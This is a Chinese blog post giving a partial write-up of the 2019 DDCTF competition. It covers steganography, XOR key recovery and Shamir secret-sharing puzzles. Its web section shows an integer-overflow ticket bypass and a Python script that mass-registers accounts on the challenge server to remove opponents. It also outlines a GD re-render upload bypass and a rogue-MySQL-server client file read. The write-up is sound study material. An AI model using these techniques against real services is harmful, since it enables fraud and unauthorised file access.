菠萝吹雪's Studio.

2019DDCTF部分 wp

字数统计: 1.2k阅读时长: 5 min
2019/04/19 Share

前言

可惜号被ban了,主办方说是我账号异地登陆。。。。。。一个杭州的ip

MISC

北京地铁

上来一张bmp图片,猜想可能是要提取像素什么的
二话不说先binwalk分析,再用stegsolve看看是否有lsb隐写
binwalk没问题
stegsolve出来有点东西
1.png-293.2kB

结合给出的hint这应该是AES ECB模式加密的密文
关键就是密钥,有点脑洞了,发现魏公村这个站点的颜色有点不对劲
image.png-137.8kB
一开始结合bmp图像分析可能是要提取像素值做密钥翻来覆去不对,密钥叫weigongcun。。。。。
神奇的队友。。。
image.png-49.3kB

MultZor

题目啥提示都没,直接给了一堆字符串。。。。根据题目的名字也没搜到什么东西
16进制解码是一堆乱码,分mult和zor去搜,zor什么都没搜到,分mul和tzor搜,tzor搜到了个郑码,还是没有什么用。。。。。。。
会不会是xor?,尝试用xortool 进行密钥猜测,果然。
image.png-126.2kB
但是还是有乱码,不是完全还原,找了个最有可能的密钥长度,还是不行,应该是密钥出了问题
分析下乱码的前几个字节
2.png-37.7kB
第一个单词应该是cryptanalysis,但是a变成了$,后面几位的enigma也不对了,估计是密钥有部分不对,可以对着算一下正确的密钥的位数,用a的ascii xor $的ascii可以得到原本位置的正确密钥

Wireshark

题目很简单,数据包里提取三张图片,然后分析流量应该是出题人从千千秀图上找了一张图片然后经过在线网站隐写加密下载了那张加密的图片,不做详解,直接导出对象,我的数据包只能提取2张图片,但是binwalk分析出三张图片,winhex找到了图片之后直接提取分离,3张图片,2张是一样的图片,应该是在线解密前和解密后的图片,然后有张钥匙的图片,感觉应该是IHDR隐写,改了一发行高成功出Key,解密再转16进制成功出flag
4.png-103.6kB

联盟决策大会

题目给出了一个关键字,Shamir,百度一下应该是沙米尔密钥管理协议,题目的意思是,6个人,分成了两组,也就是每组之间协商一次,最后两组再协商
google找到了2012年的一道相似题,

1
http://mslc.ctf.su/wp/plaidctf-2012-nuclear-launch-detected-150-password-guessing/

改改脚本就完事了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
        from libnum import n2s,invmod

pairs1 = []
pairs1 += [(1, 0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964)]
pairs1 += [(2, 0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1)]
pairs1 += [(4, 0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7)]

pairs2 = []
pairs2 += [(3, 0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525)]
pairs2 += [(4, 0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62)]
pairs2 += [(5, 0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5)]



p = int(0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9)

res1 = 0
res2 =0
res3 =0
for i, pair in enumerate(pairs1):
x, y = pair
top = 1
bottom = 1
for j, pair in enumerate(pairs1):
if j == i:
continue
xj, yj = pair
top = (top * (-xj)) % p
bottom = (bottom * (x - xj)) % p
res1 += (y * top * invmod(bottom, p)) % p
res1 %= p

for i, pair in enumerate(pairs2):
x, y = pair
top = 1
bottom = 1
for j, pair in enumerate(pairs2):
if j == i:
continue
xj, yj = pair
top = (top * (-xj)) % p
bottom = (bottom * (x - xj)) % p
res2 += (y * top * invmod(bottom, p)) % p
res2 %= p

pairs3 =[]
pairs3 +=[(1,res1)]
pairs3 +=[(2,res2)]

for i, pair in enumerate(pairs3):
x, y = pair
top = 1
bottom = 1
for j, pair in enumerate(pairs3):
if j == i:
continue
xj, yj = pair
top = (top * (-xj)) % p
bottom = (bottom * (x - xj)) % p
res3 += (y * top * invmod(bottom, p)) % p
res3 %= p


#print res1
#print res2
print res3
print n2s(res1)
print n2s(res2)

web

太简单,略

大吉大利今晚吃鸡

注册登陆进去之后就是一个买票进场的界面
一般遇到买票的大体上是整数溢出和条件竞争
票价2000 我们只有100块,应该是要整数溢出了
再购买处抓包,发现可以改票价,改少了貌似不行,那就改大,试个2的32次方加5
1.png-47.7kB

成功入场
看到要移除对手,所以应该是考验脚本基本功,写脚本批量注册买入场券
如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import json
import time
import string
import random

s = requests.session()

def zhuce(name):
url = 'http://117.51.147.155:5050/ctf/api/register'
params = {'name': name, 'password': 123456789}
r = s.get(url, params=params)



def maipiao(bill_id):
url = 'http://117.51.147.155:5050/ctf/api/pay_ticket'
r = s.get(url, params={'bill_id': bill_id})
return json.loads(r.text)

def sharen(robot_info):
cookies = {'user_name': '0020002', 'REVEL_SESSION': '9a080fdd76036baa5ba931f54e3db290'}
url = 'http://117.51.147.155:5050/ctf/api/remove_robot'
params = {'id': robot_info['your_id'], 'ticket': robot_info['your_ticket']}
r = requests.get(url, params=params, cookies=cookies)
print r.text


while 1:
user = ''.join(random.choice(string.ascii_uppercase) for _ in range(18))
zhuce(user)
url= 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
r = s.get(url1)
bill_id = json.loads(r.text)['data'][0]['bill_id']
robot_info = maipiao(bill_id)['data'][0]
sharen(robot_info)
time.sleep(2)

Upload-IMG

不说了,gd库的二次渲染绕过,因为上传上去的图片winhex打开后有CREATOR: gd-jpeg v1.0
直接贴链接好了,在uploads-lab也有原题

1
https://xz.aliyun.com/t/2657

一开始看到题目感觉能秒。。。。。。结果败在了英语上
payload打的时候要先上传,在把上传过的图片用脚本生成payload图片上传
上传两次

Mysql 空密码

用到了MySQL LOAD DATA 读取客户端任意文件
原理是伪造mysql 服务端进行

CATALOG
  1. 1. 前言
  2. 2. MISC
    1. 2.1. 北京地铁
    2. 2.2. MultZor
    3. 2.3. Wireshark
    4. 2.4. 联盟决策大会
  3. 3. web
    1. 3.1.
    2. 3.2. 大吉大利今晚吃鸡
    3. 3.3. Upload-IMG
    4. 3.4. Mysql 空密码